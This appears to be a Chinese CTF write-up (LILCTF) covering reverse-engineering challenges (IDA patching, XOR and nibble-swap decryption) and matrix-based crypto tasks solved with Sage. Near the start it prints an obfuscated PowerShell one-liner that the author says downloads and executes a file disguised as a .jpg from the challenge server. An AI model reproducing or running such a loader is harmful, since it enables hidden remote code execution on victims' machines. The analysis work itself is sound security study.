意思是把http://challenge.xinshi.fun:46895/bestudding.jpg文件下载下来并执行

('('  | % { $r = + $() } { $u = $r } { $b = ++  $r } { $q = (  $r = $r + $b  ) } { $z = (  $r = $r + $b  ) } { $o = ($r = $r + $b  ) } { $d = ($r = $r + $b  ) } { $h = ($r = $r + $b  ) } { $e = ($r = $r + $b  ) } { $i = ($r = $r + $b  ) } { $x = ($q *( $z) ) } { $l = ($r = $r + $b) } { $g = "[" + "$(@{  })"[$e  ] + "$(@{  })"[  "$b$l"  ] + "$(@{  }  )  "[  "$q$u"  ] + "$?"[$b  ] + "]" } { $r = "".("$(  @{}  )  "[  "$b$o"  ] + "$(@{})  "[  "$b$h"] + "$(  @{  }  )"[$u] + "$(@{}  )"[$o] + "$?  "[  $b] + "$(  @{})"[$z  ]) } { $r = "$(@{  }  )"[  "$b" + "$o"] + "$(@{  })  "[$o  ] + "$r"["$q" + "$e"  ] }  )  ;  " $r  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 "  |  .$r 

这不是图片而是伪装的恶意powershell脚本，试了很多办法但还是没解密出,在虚拟机运行发现机器10分钟后自动关机并且有弹窗😣

于是在云沙箱再运行，终于成功了😭

obfusheader.h

混淆的威力如此大 https://github.com/ac3ss0r/obfusheader.h

没有好办法，动态调试

先把一堆花指令去除

import ida_bytes
import ida_ua
import ida_segment

def patch_jumps_to_nop():
    # 遍历所有段
    seg = ida_segment.get_first_seg()
    count = 0

    while seg:
        start = seg.start_ea
        end = seg.end_ea
        ea = start

        while ea < end:
            byte = ida_bytes.get_bytes(ea, 2)
            if byte == b'\x74\x01':
                # 将 74 改为 NOP
                ida_bytes.patch_byte(ea, 0x90)
                # 重新生成指令
                ida_ua.create_insn(ea)
                count += 1
            ea += 1

        seg = ida_segment.get_next_seg(seg.start_ea)

    print(f"共修改 {count} 条 74 01 指令")

patch_jumps_to_nop()

先找到一些关键的字符串下断点

这里输入字符串，字符串就存在byte_7FF698C0A040中，开始跟踪

前几次动调发现输入的字数不对会输出“flag is too long!”或”flag is too short!”,最后猜出来flag长度是40

很久之后找出第一次加密逻辑

每两个字节一组与16位随机数异或，可以把生成的随机数记录下来

很久之后找出第二次加密逻辑

将每个字节的前后四位交换顺序

很久之后找出第三段加密逻辑

逐字节按位取反

加密完成后终端会打印“Encryption done, time to compare!”

接下来找密文数组

但是现在的密文并不是真正的，他需要经过一些变化才能得到

得到真正的密文

0x5C, 0xAF, 0xB0, 0x1C, 0xFC, 0xef, 0xc7, 0x8D, 0x1, 0xcf,
0x0, 0x39, 0x94, 0xbc, 0x47, 0x2f, 0x0e, 0x7c, 0xa8, 0x8f,
0x7f, 0xc9, 0xd2, 0xfa, 0xf8, 0x3f, 0x81, 0xfd, 0xa6, 0xaa,
0x6, 0x1c, 0xcc, 0x7b, 0x40, 0xeb, 0x53, 0xdc, 0xdd, 0x1b

完整的解密脚本

def encode(ciphertext, xor_key):
    """
    解密流程：
    1. 与xor_key数组逐字节异或
    2. 每个字节交换前4位和后4位
    3. 逐字节取反
    """
    # 第一步：异或操作
    xored = [c ^ k for c, k in zip(ciphertext, xor_key)]

    # 第二步：交换每个字节的高低4位
    swapped = []
    for byte in xored:
        # 将字节右移4位得到高4位，左移4位得到低4位，然后组合
        high = (byte >> 4) & 0x0F
        low = (byte << 4) & 0xF0
        swapped_byte = high | low
        swapped.append(swapped_byte)

    # 第三步：逐字节取反
    plaintext = [~b & 0xFF for b in swapped]  # 使用&0xFF确保结果为1字节

    # 转换为字符串
    return bytes(plaintext).decode('utf-8', errors='ignore')

def decrypt(ciphertext, xor_key):
    fan = [~b & 0xFF for b in ciphertext]
    swapped = []
    for byte in fan:
        # 将字节右移4位得到高4位，左移4位得到低4位，然后组合
        high = (byte >> 4) & 0x0F
        low = (byte << 4) & 0xF0
        swapped_byte = high | low
        swapped.append(swapped_byte)
    plaintext= [c ^ k for c, k in zip(swapped, xor_key)]
    return bytes(plaintext).decode('utf-8', errors='ignore')

if __name__ == "__main__":
    # 密文
    ciphertext = [
        # 0x5C, 0x1C, 0x04, 0xA9, 0x4A, 0x58, 0x7F, 0x34, 0xBB, 0x74,
        # 0xBC, 0x84, 0x2A, 0x03, 0x87, 0xEE, 0xCC, 0xBF, 0x6C, 0x4A,
        # 0xB9, 0x0E, 0x1A, 0x33, 0x32, 0xF4, 0x4D, 0x30, 0x68, 0x65,
        # 0xD6, 0xCD, 0x1E, 0xA8, 0x94, 0x3E, 0x85, 0x0B, 0x05, 0xC2
        0x5C, 0xAF, 0xB0, 0x1C, 0xFC, 0xef, 0xc7, 0x8D, 0x1, 0xcf,
        0x0, 0x39, 0x94, 0xbc, 0x47, 0x2f, 0x0e, 0x7c, 0xa8, 0x8f,
        0x7f, 0xc9, 0xd2, 0xfa, 0xf8, 0x3f, 0x81, 0xfd, 0xa6, 0xaa,
        0x6, 0x1c, 0xcc, 0x7b, 0x40, 0xeb, 0x53, 0xdc, 0xdd, 0x1b
    ]
    # 异或密钥（需要替换为实际密钥）
    xor_key = [
        0x76,0x4c,0xB8,0x7D,0x64,0x47,0xf8,0x50,0xa7,0x43,
        0xc8,0x33,0x87,0x67,0xd4,0x69,0x7e,0x4c,0x41,0x61,
        0x64,0x40,0xa5,0xf,0x13,0x4d,0xa9,0x7f,0xf9,0x21,
        0xc0,0x5c,0x76,0x17,0x9e,0x75,0xfd,0x1,0x4c,0x33
    ]

    # 确保密文和密钥长度一致
    min_len = min(len(ciphertext), len(xor_key))
    ciphertext = ciphertext[:min_len]
    xor_key = xor_key[:min_len]

    flag = decrypt(ciphertext, xor_key)
    print("解密结果:", flag)

Qt_Creator

动调，只要下对断点就很简单了

这里是flag正确的逻辑

这里是与flag比较函数

进入这个函数

发现这里校验flag长度是否为0x25,否则就退出，重新输入

然后flag就出现了

Oh_My_Uboot

##########

第一次尝试逆向iot，虽然做了一天还是没做出来

过段时间可以复现

##########

Crypto

ez_math

先分析是怎么加密的

先把flag括号里的内容分为两个大整数lambda1和lambda2

生成一个512位的素数p作为有限域的模数，生成两个128位素数的二维向量v1和v2

矩阵A由v1和v2作为行向量构成，矩阵B由v1乘以lambda1和v2乘以lambda2构成

C = A⁻¹ × B，因为B是A的每行分别乘以不同λ值得到的，这个运算实际上会得到一个对角矩阵，对角线元素就是lambda1和lambda2

但是C并不是对角矩阵，求解特征值，矩阵 C的特征值 λ 满足：λ2−tr(C)λ+det(C)=0

tr(C) = C[0][0] + C[1][1]（迹）
det(C) = C[0][0] * C[1][1] - C[0][1] * C[1][0]（行列式）

完整脚本：

from Crypto.Util.number import long_to_bytes

# Tonelli–Shanks 算法求模平方根
def modular_sqrt(a, p):
    a %= p
    if a == 0:
        return 0
    if pow(a, (p - 1) // 2, p) != 1:
        return None
    if p % 4 == 3:
        return pow(a, (p + 1) // 4, p)
    q, s = p - 1, 0
    while q % 2 == 0:
        q //= 2
        s += 1
    z = 2
    while pow(z, (p - 1) // 2, p) != p - 1:
        z += 1
    m, c, t, r = s, pow(z, q, p), pow(a, q, p), pow(a, (q + 1) // 2, p)
    while t != 1:
        i, t2i = 1, pow(t, 2, p)
        while i < m and t2i != 1:
            t2i = pow(t2i, 2, p)
            i += 1
        b = pow(c, 1 << (m - i - 1), p)
        m = i
        c = b * b % p
        t = t * c % p
        r = r * b % p
    return r

# 已知的 p 和 C
p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
a = 7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645
b = 7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801
c = 7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808
d = 2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872

# 1. 计算迹和行列式
trace = (a + d) % p
det = (a * d - b * c) % p

# 2. 判别式
disc = (trace * trace - 4 * det) % p
sqrt_disc = modular_sqrt(disc, p)
if sqrt_disc is None:
    raise ValueError("判别式在 GF(p) 下没有平方根")

# 3. 特征值（lambda1, lambda2）
inv2 = pow(2, p - 2, p)
lambda1 = (trace + sqrt_disc) * inv2 % p
lambda2 = (trace - sqrt_disc) * inv2 % p

# 4. 取较小代表（原本是bytes_to_long，值不会很大）
lambda1 = min(lambda1, p - lambda1)
lambda2 = min(lambda2, p - lambda2)

# 5. 转成字节
part1 = long_to_bytes(lambda1)
part2 = long_to_bytes(lambda2)

# 6. 输出结果
print("lambda1:", lambda1, part1)
print("lambda2:", lambda2, part2)
print("Flag 可能为:", b"LILCTF{" + part2 + part1 + b"}")

#LILCTF{It_w4s_the_be5t_of_times_1t_wa5_the_w0rst_of_t1me5}

mid_math

分析题目给的加密过程

1. 参数生成：
   • 生成一个64位的素数 p，并定义在 GF(p)下的运算
   • 生成一个随机的密钥 key，范围在 2^62 到 p之间
   • 生成五个64位的素数向量 v1, v2, v3, v4, v5
   • 生成四个64位的素数 a, b, c, d，以及 e = 0
2. 矩阵构造：
   • 构造矩阵 A，其行向量为 v1, v2, v3, v4, v5
   • 构造矩阵 B，其行向量为 v1*a, v2*b, v3*c, v4*d, v5*e
   • 计算 C = A.inverse() * B
   • 计算 D = C ** key
3. 加密：
   • 将 key转换为字节并填充到16字节，作为AES的密钥
   • 使用AES ECB模式加密填充后的 flag

所以现在我们要恢复key,然后解密msg

C = A.inverse() * B,它的特征值就是{a,b,c,d,0} ,D=C^key，所以它的特征值是 {a^key,b^key,c^key,d^key,0}

eigens = C.eigenspaces_right() 对 C 做右特征分解，得到每个特征值 λ 及其对应的特征空间。这些 λ 应该就是 a,b,c,d,0,然后利用这些特征向量去作用在 D 上

Dv = D * v mu = Dv[i] / v[i]

这样得到的 μ 就是 D 在同一个特征向量上的特征值,配对出 (λ, μ) = (λ, λ^key)

解μ≡λ^key(modp)，找到两种方法：

1.以 λ 为底直接做离散对数key≡logλ(μ)(modn)，拿到多对（λi,μi）就得到多条同余
key≡ki ( mod  ni)，再用 CRT合并，找出符合区间的key值

2.换到群的一个生成元 g 上,得到的是一条弱一些的同余（模数是 (p−1)/d）。对多对 (λ,μ)得到多条同余，用广义 CRT合并,找出符合区间的key值

完整脚本

from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import pad, unpad
from math import gcd

# ========= paste/keep instance data here =========
p = 14668080038311483271
C_list = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212],
          [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914],
          [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670],
          [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413],
          [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]

D_list = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044],
          [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372],
          [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427],
          [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551],
          [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]

msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
# ================================================

def merge_congruence(a1, m1, a2, m2):
    """
    Solve x ≡ a1 (mod m1), x ≡ a2 (mod m2) for possibly non-coprime moduli.
    Returns (a, M) with M = lcm(m1, m2). Raises ValueError if inconsistent.
    """
    g = gcd(m1, m2)
    if (a2 - a1) % g != 0:
        raise ValueError("Inconsistent congruences in CRT merge.")
    # Reduce to coprime case
    m1p = m1 // g
    m2p = m2 // g
    # Find t s.t. a1 + m1 * t ≡ a2 (mod m2)
    # => m1 * t ≡ (a2 - a1) (mod m2)
    # Divide both sides by g: m1p * t ≡ (a2 - a1)/g (mod m2p)
    rhs = ((a2 - a1) // g) % m2p
    inv = inverse_mod(m1p % m2p, m2p)
    t = (rhs * inv) % m2p
    a = (a1 + m1 * t) % (m1 * m2p)   # modulus = lcm = m1 * (m2//g)
    M = m1 * m2p
    return a, M

def main():
    P = GF(p)
    order = p - 1  # |F_p^*|
    C = Matrix(P, C_list)
    D = Matrix(P, D_list)

    # 1) Eigendecomposition over the right side
    eigens = C.eigenspaces_right()

    # 2) For each eigenpair, compute mu s.t. D*v = mu*v
    pairs = []
    for lam, E in eigens:
        # Use a basis vector
        v = E.basis()[0]
        Dv = D * v
        mu = None
        # find a coordinate where v[i] != 0 to define mu
        for i in range(len(v)):
            if v[i] != 0:
                mu = Dv[i] / v[i]
                break
        if mu is None:
            continue
        # sanity: check Dv == mu * v
        if Dv != mu * v:
            # numerical issues shouldn't happen in finite field; skip if inconsistent
            continue
        pairs.append((lam, mu))

    # Drop zero eigenvalue (not in multiplicative group)
    pairs = [(lam, mu) for lam, mu in pairs if lam != 0 and mu != 0]

    if not pairs:
        raise RuntimeError("No usable (lambda, mu) pairs found.")

    # 3) Discrete logs with a true generator
    g = P.multiplicative_generator()

    def safe_dlog(x):
        if x == 1:
            return 0
        # Let Sage choose a robust algorithm; ord enforces the group order
        return discrete_log(x, g, ord=order, operation='*')

    residues = []
    moduli = []
    for lam, mu in pairs:
        try:
            r = safe_dlog(lam)  # lam = g^r
            s = safe_dlog(mu)   # mu  = g^s
        except Exception as e:
            # Skip rare failures
            continue

        # Reduce by gcd to avoid inverse_mod failure
        g_rs = gcd(r, order)
        mod = order // g_rs
        r_red = r // g_rs
        s_red = s // g_rs
        inv_r = inverse_mod(r_red % mod, mod)
        key_part = (s_red * inv_r) % mod

        residues.append(int(key_part))
        moduli.append(int(mod))

    if not residues:
        raise RuntimeError("No discrete-log constraints gathered.")

    # 4) Merge all congruences via generalized CRT
    a, M = residues[0], moduli[0]
    for b, N in zip(residues[1:], moduli[1:]):
        a, M = merge_congruence(a, M, b, N)

    # Since every constraint comes from the same true key, final modulus should divide (p-1)
    # We ultimately want key mod (p-1), so lift 'a (mod M)' to modulus (p-1)
    if M != order:
        # Extend to modulus p-1 by adding the trivial congruence x ≡ a (mod M), x ≡ ? (mod (p-1))
        # This simply means key ≡ a (mod M); all solutions are a + t*M, t∈Z.
        # We'll handle the final lifting into [2^62, p] directly from this residue/modulus pair.
        pass
    key_mod = a
    key_modulus = M  # may be equal to p-1, or a divisor

    print(f"[+] key ≡ {key_mod} (mod {key_modulus})")

    # 5) Lift key into [2^62, p]
    lo = 2**62
    hi = p
    # Solutions are: key = key_mod + t*key_modulus
    # Among those, we also know key ≡ ? (mod p-1). If key_modulus != p-1,
    # the true key still satisfies the weaker congruence; search t so that lo <= key <= hi
    t_min = Integer(ceil((lo - key_mod) / key_modulus))
    key_candidate = int(key_mod + t_min * key_modulus)
    if key_candidate < lo or key_candidate > hi:
        # try next t just in case of boundary conditions
        key_candidate2 = key_candidate + key_modulus
        if lo <= key_candidate2 <= hi:
            key_candidate = key_candidate2
        else:
            raise RuntimeError("Failed to lift key into [2^62, p]; check inputs.")

    print(f"[+] lifted key = {key_candidate}")

    # 6) AES-ECB decrypt with key_bytes = pad(long_to_bytes(key), 16)
    key_bytes = pad(long_to_bytes(key_candidate), 16)
    aes = AES.new(key_bytes, AES.MODE_ECB)
    pt_padded = aes.decrypt(msg)

    # Unpad with block size 64 as per challenge (flag padded to 64 before encrypt)
    flag = unpad(pt_padded, 64)
    print(f"[+] flag = {flag}")

if __name__ == "__main__":
    main()

END👍